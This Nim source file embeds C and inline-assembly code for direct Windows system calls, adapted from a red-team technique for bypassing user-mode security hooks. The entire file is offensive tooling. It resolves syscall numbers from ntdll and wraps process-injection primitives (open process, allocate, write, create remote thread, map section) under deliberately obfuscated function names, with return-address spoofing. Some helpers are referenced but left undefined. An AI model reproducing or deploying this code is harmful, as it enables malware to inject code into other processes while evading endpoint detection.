{.passC:"-masm=intel".}

import winim/lean


{.emit: """
#pragma once

// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams

#ifndef SW3_HEADER_H_
#define SW3_HEADER_H_

#include <windows.h>

#define SW3_SEED 0x8113BF0F
#define SW3_ROL8(v) (v << 8 | v >> 24)
#define SW3_ROR8(v) (v >> 8 | v << 24)
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
#define SW3_MAX_ENTRIES 500
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)

// Typedefs are prefixed to avoid pollution.

typedef struct _SW3_SYSCALL_ENTRY
{
    DWORD Hash;
    DWORD Address;
	PVOID SyscallAddress;
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;

typedef struct _SW3_SYSCALL_LIST
{
    DWORD Count;
    SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;

typedef struct _SW3_PEB_LDR_DATA {
	BYTE Reserved1[8];
	PVOID Reserved2[3];
	LIST_ENTRY InMemoryOrderModuleList;
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;

typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
	PVOID Reserved1[2];
	LIST_ENTRY InMemoryOrderLinks;
	PVOID Reserved2[2];
	PVOID DllBase;
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;

typedef struct _SW3_PEB {
	BYTE Reserved1[2];
	BYTE BeingDebugged;
	BYTE Reserved2[1];
	PVOID Reserved3[2];
	PSW3_PEB_LDR_DATA Ldr;
} SW3_PEB, *PSW3_PEB;

DWORD SW3_HashSyscall(PCSTR FunctionName);
BOOL SW3_PopulateSyscallList();
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
#endif

#include <stdio.h>

//#define DEBUG

// JUMPER

#ifdef _M_IX86

EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
    return (PVOID)__readfsdword(0xC0);
}

// LOCAL_IS_WOW64

#endif

// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams

SW3_SYSCALL_LIST SW3_SyscallList = {0,1};

// SEARCH_AND_REPLACE
#ifdef SEARCH_AND_REPLACE
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
#endif

DWORD SW3_HashSyscall(PCSTR FunctionName)
{
    DWORD i = 0;
    DWORD Hash = SW3_SEED;

    while (FunctionName[i])
    {
        WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
        Hash ^= PartialName + SW3_ROR8(Hash);
    }

    return Hash;
}

#ifndef JUMPER
PVOID SC_Address(PVOID NtApiAddress)
{
    return NULL;
}
#else
PVOID SC_Address(PVOID NtApiAddress)
{
    DWORD searchLimit = 512;
    PVOID SyscallAddress;

   #ifdef _WIN64
    // If the process is 64-bit on a 64-bit OS, we need to search for syscall
    BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
    ULONG distance_to_syscall = 0x12;
   #else
    // If the process is 32-bit on a 32-bit OS, we need to search for sysenter
    BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
    ULONG distance_to_syscall = 0x0f;
   #endif

  #ifdef _M_IX86
    // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
    if (local_is_wow64())
    {
    #ifdef DEBUG
        printf("[+] Running 32-bit app on x64 (WOW64)\n");
    #endif
// JUMP_TO_WOW32Reserved
    }
  #endif

    // we don't really care if there is a 'jmp' between
    // NtApiAddress and the 'syscall; ret' instructions
    SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);

    if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
    {
        // we can use the original code for this system call :)
        #if defined(DEBUG)
            printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
        #endif
        return SyscallAddress;
    }

    // the 'syscall; ret' intructions have not been found,
    // we will try to use one near it, similarly to HalosGate

    for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
    {
        // let's try with an Nt* API below our syscall
        SyscallAddress = SW3_RVA2VA(
            PVOID,
            NtApiAddress,
            distance_to_syscall + num_jumps * 0x20);
        if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
        {
        #if defined(DEBUG)
            printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
        #endif
            return SyscallAddress;
        }

        // let's try with an Nt* API above our syscall
        SyscallAddress = SW3_RVA2VA(
            PVOID,
            NtApiAddress,
            distance_to_syscall - num_jumps * 0x20);
        if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
        {
        #if defined(DEBUG)
            printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
        #endif
            return SyscallAddress;
        }
    }

#ifdef DEBUG
    printf("Syscall Opcodes not found!\n");
#endif

    return NULL;
}
#endif


BOOL SW3_PopulateSyscallList()
{
    // Return early if the list is already populated.
    if (SW3_SyscallList.Count) return TRUE;

    #ifdef _WIN64
    PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
    #else
    PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
    #endif
    PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
    PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
    PVOID DllBase = NULL;

    // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
    // in the list, so it's safer to loop through the full list and find it.
    PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
    for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
    {
        DllBase = LdrEntry->DllBase;
        PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
        PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
        PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
        DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
        if (VirtualAddress == 0) continue;

        ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);

        // If this is NTDLL.dll, exit loop.
        PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);

        if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
        if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
    }

    if (!ExportDirectory) return FALSE;

    DWORD NumberOfNames = ExportDirectory->NumberOfNames;
    PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
    PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
    PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);

    // Populate SW3_SyscallList with unsorted Zw* entries.
    DWORD i = 0;
    PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
    do
    {
        PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);

        // Is this a system call?
        if (*(USHORT*)FunctionName == 0x775a)
        {
            Entries[i].Hash = SW3_HashSyscall(FunctionName);
            Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
            Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));

            i++;
            if (i == SW3_MAX_ENTRIES) break;
        }
    } while (--NumberOfNames);

    // Save total number of system calls found.
    SW3_SyscallList.Count = i;

    // Sort the list by address in ascending order.
    for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
    {
        for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
        {
            if (Entries[j].Address > Entries[j + 1].Address)
            {
                // Swap entries.
                SW3_SYSCALL_ENTRY TempEntry;

                TempEntry.Hash = Entries[j].Hash;
                TempEntry.Address = Entries[j].Address;
                TempEntry.SyscallAddress = Entries[j].SyscallAddress;

                Entries[j].Hash = Entries[j + 1].Hash;
                Entries[j].Address = Entries[j + 1].Address;
                Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;

                Entries[j + 1].Hash = TempEntry.Hash;
                Entries[j + 1].Address = TempEntry.Address;
                Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
            }
        }
    }

    return TRUE;
}

EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
    // Ensure SW3_SyscallList is populated.
    if (!SW3_PopulateSyscallList()) return -1;

    for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
    {
        if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
        {
            return i;
        }
    }

    return -1;
}

EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
    // Ensure SW3_SyscallList is populated.
    if (!SW3_PopulateSyscallList()) return NULL;

    for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
    {
        if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
        {
            return SW3_SyscallList.Entries[i].SyscallAddress;
        }
    }

    return NULL;
}

EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
{
    // Ensure SW3_SyscallList is populated.
    if (!SW3_PopulateSyscallList()) return NULL;

    DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;

    while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
        // Spoofing the syscall return address
        index = ((DWORD) rand()) % SW3_SyscallList.Count;
    }
    return SW3_SyscallList.Entries[index].SyscallAddress;
}

""".}

type
  PS_ATTR_UNION* {.pure, union.} = object
    Value*: ULONG
    ValuePtr*: PVOID
  PS_ATTRIBUTE* {.pure.} = object
    Attribute*: ULONG 
    Size*: SIZE_T
    u1*: PS_ATTR_UNION
    ReturnLength*: PSIZE_T
  PPS_ATTRIBUTE* = ptr PS_ATTRIBUTE
  PS_ATTRIBUTE_LIST* {.pure.} = object
    TotalLength*: SIZE_T
    Attributes*: array[2, PS_ATTRIBUTE]
  PPS_ATTRIBUTE_LIST* = ptr PS_ATTRIBUTE_LIST





# NtProtectVirtualMemory
proc uashdiasdj*(ProcessHandle: HANDLE, BaseAddress: PVOID, RegionSize: PSIZE_T, NewProtect: ULONG, OldProtect: PULONG): NTSTATUS {.asmNoStackFrame.} =
    asm """
		push ebp
		mov ebp, esp
		push 0BC1FA8B2h                  
		call SW3_GetSyscallNumber
		lea esp, [esp+4]
		mov ecx, 0x05
	push_argument:
		dec ecx
		push [ebp + 8 + ecx * 4]
		jnz push_argument
		mov ecx, eax
		call local_is_wow64
		test eax, eax
		je is_native
		call internal_cleancall_wow64_gate
		push ret_address_epilog
		push ret_address_epilog
		xchg eax, ecx
		jmp ecx
		jmp finish
	is_native:
		mov eax, ecx
		push ret_address_epilog
		call do_sysenter_interrupt
	finish:
		lea esp, [esp+4]
	ret_address_epilog:
		mov esp, ebp
		pop ebp
		ret
	do_sysenter_interrupt:
		mov edx, esp
		sysenter
		ret
    """
# NtWriteVirtualMemory
proc oqiazasusjk*(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: SIZE_T, NumberOfBytesWritten: PSIZE_T): NTSTATUS {.asmNoStackFrame.} =
    asm """
		push ebp
		mov ebp, esp
		push 00791312Fh                  
		call SW3_GetSyscallNumber
		lea esp, [esp+4]
		mov ecx, 0x05
	push_argument:
		dec ecx
		push [ebp + 8 + ecx * 4]
		jnz push_argument
		mov ecx, eax
		call local_is_wow64
		test eax, eax
		je is_native
		call internal_cleancall_wow64_gate
		push ret_address_epilog
		push ret_address_epilog
		xchg eax, ecx
		jmp ecx
		jmp finish
	is_native:
		mov eax, ecx
		push ret_address_epilog
		call do_sysenter_interrupt
	finish:
		lea esp, [esp+4]
	ret_address_epilog:
		mov esp, ebp
		pop ebp
		ret
	do_sysenter_interrupt:
		mov edx, esp
		sysenter
		ret
    """
# NtCreateThreadEx
proc zuq8aztsdztausdgbh*(ThreadHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ProcessHandle: HANDLE, StartRoutine: PVOID, Argument: PVOID, CreateFlags: ULONG, ZeroBits: SIZE_T, StackSize: SIZE_T, MaximumStackSize: SIZE_T, AttributeList: PPS_ATTRIBUTE_LIST): NTSTATUS {.asmNoStackFrame.} =
    asm """
		push ebp
		mov ebp, esp
		push 0415E8523h                  
		call SW3_GetSyscallNumber
		lea esp, [esp+4]
		mov ecx, 0x0b
	push_argument:
		dec ecx
		push [ebp + 8 + ecx * 4]
		jnz push_argument
		mov ecx, eax
		call local_is_wow64
		test eax, eax
		je is_native
		call internal_cleancall_wow64_gate
		push ret_address_epilog
		push ret_address_epilog
		xchg eax, ecx
		jmp ecx
		jmp finish
	is_native:
		mov eax, ecx
		push ret_address_epilog
		call do_sysenter_interrupt
	finish:
		lea esp, [esp+4]
	ret_address_epilog:
		mov esp, ebp
		pop ebp
		ret
	do_sysenter_interrupt:
		mov edx, esp
		sysenter
		ret
    """
# NtAllocateVirtualMemory
proc oqiahsjynmxkla*(ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.asmNoStackFrame.} =
    asm """
		push ebp
		mov ebp, esp
		push 08D136671h                  
		call SW3_GetSyscallNumber
		lea esp, [esp+4]
		mov ecx, 0x06
	push_argument:
		dec ecx
		push [ebp + 8 + ecx * 4]
		jnz push_argument
		mov ecx, eax
		call local_is_wow64
		test eax, eax
		je is_native
		call internal_cleancall_wow64_gate
		push ret_address_epilog
		push ret_address_epilog
		xchg eax, ecx
		jmp ecx
		jmp finish
	is_native:
		mov eax, ecx
		push ret_address_epilog
		call do_sysenter_interrupt
	finish:
		lea esp, [esp+4]
	ret_address_epilog:
		mov esp, ebp
		pop ebp
		ret
	do_sysenter_interrupt:
		mov edx, esp
		sysenter
		ret
    """

# NtOpenProcess
proc opqiwepoausdasdjl*(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ClientId: PCLIENT_ID): NTSTATUS {.asmNoStackFrame.} =
    asm """
		push ebp
		mov ebp, esp
		push 0FEAFCF03h                  
		call SW3_GetSyscallNumber
		lea esp, [esp+4]
		mov ecx, 0x04
	push_argument:
		dec ecx
		push [ebp + 8 + ecx * 4]
		jnz push_argument
		mov ecx, eax
		call local_is_wow64
		test eax, eax
		je is_native
		call internal_cleancall_wow64_gate
		push ret_address_epilog
		push ret_address_epilog
		xchg eax, ecx
		jmp ecx
		jmp finish
	is_native:
		mov eax, ecx
		push ret_address_epilog
		call do_sysenter_interrupt
	finish:
		lea esp, [esp+4]
	ret_address_epilog:
		mov esp, ebp
		pop ebp
		ret
	do_sysenter_interrupt:
		mov edx, esp
		sysenter
		ret
    """
# NtClose
proc zuatzuastdiasyy*(Handle: HANDLE): NTSTATUS {.asmNoStackFrame.} =
    asm """
		push ebp
		mov ebp, esp
		push 0F05BE137h                  
		call SW3_GetSyscallNumber
		lea esp, [esp+4]
		mov ecx, 0x01
	push_argument:
		dec ecx
		push [ebp + 8 + ecx * 4]
		jnz push_argument
		mov ecx, eax
		call local_is_wow64
		test eax, eax
		je is_native
		call internal_cleancall_wow64_gate
		push ret_address_epilog
		push ret_address_epilog
		xchg eax, ecx
		jmp ecx
		jmp finish
	is_native:
		mov eax, ecx
		push ret_address_epilog
		call do_sysenter_interrupt
	finish:
		lea esp, [esp+4]
	ret_address_epilog:
		mov esp, ebp
		pop ebp
		ret
	do_sysenter_interrupt:
		mov edx, esp
		sysenter
		ret
    """

# NtCreateSection
proc iuhqdihasduiahsdaksdhak*(SectionHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, MaximumSize: PLARGE_INTEGER, SectionPageProtection: ULONG, AllocationAttributes: ULONG, FileHandle: HANDLE): NTSTATUS {.asmNoStackFrame.} =
    asm """
		push ebp
		mov ebp, esp
		push 0E44DE8AFh                  
		call SW3_GetSyscallNumber
		lea esp, [esp+4]
		mov ecx, 0x07
	push_argument:
		dec ecx
		push [ebp + 8 + ecx * 4]
		jnz push_argument
		mov ecx, eax
		mov eax, ecx
		push ret_address_epilog
		call do_sysenter_interrupt
		lea esp, [esp+4]
	ret_address_epilog:
		mov esp, ebp
		pop ebp
		ret
	do_sysenter_interrupt:
		mov edx, esp
		sysenter
		ret
    """

# NtMapViewOfSection
proc uihzasdbnqlpoasdlykxc*(SectionHandle: HANDLE, ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, CommitSize: SIZE_T, SectionOffset: PLARGE_INTEGER, ViewSize: PSIZE_T, InheritDisposition: ULONG, AllocationType: ULONG, Win32Protect: ULONG): NTSTATUS {.asmNoStackFrame.} =
    asm """
		push ebp
		mov ebp, esp
		push 00C8A2E1Bh                  
		call SW3_GetSyscallNumber
		lea esp, [esp+4]
		mov ecx, 0x0a
	push_argument:
		dec ecx
		push [ebp + 8 + ecx * 4]
		jnz push_argument
		mov ecx, eax
		mov eax, ecx
		push ret_address_epilog
		call do_sysenter_interrupt
		lea esp, [esp+4]
	ret_address_epilog:
		mov esp, ebp
		pop ebp
		ret
	do_sysenter_interrupt:
		mov edx, esp
		sysenter
		ret
    """
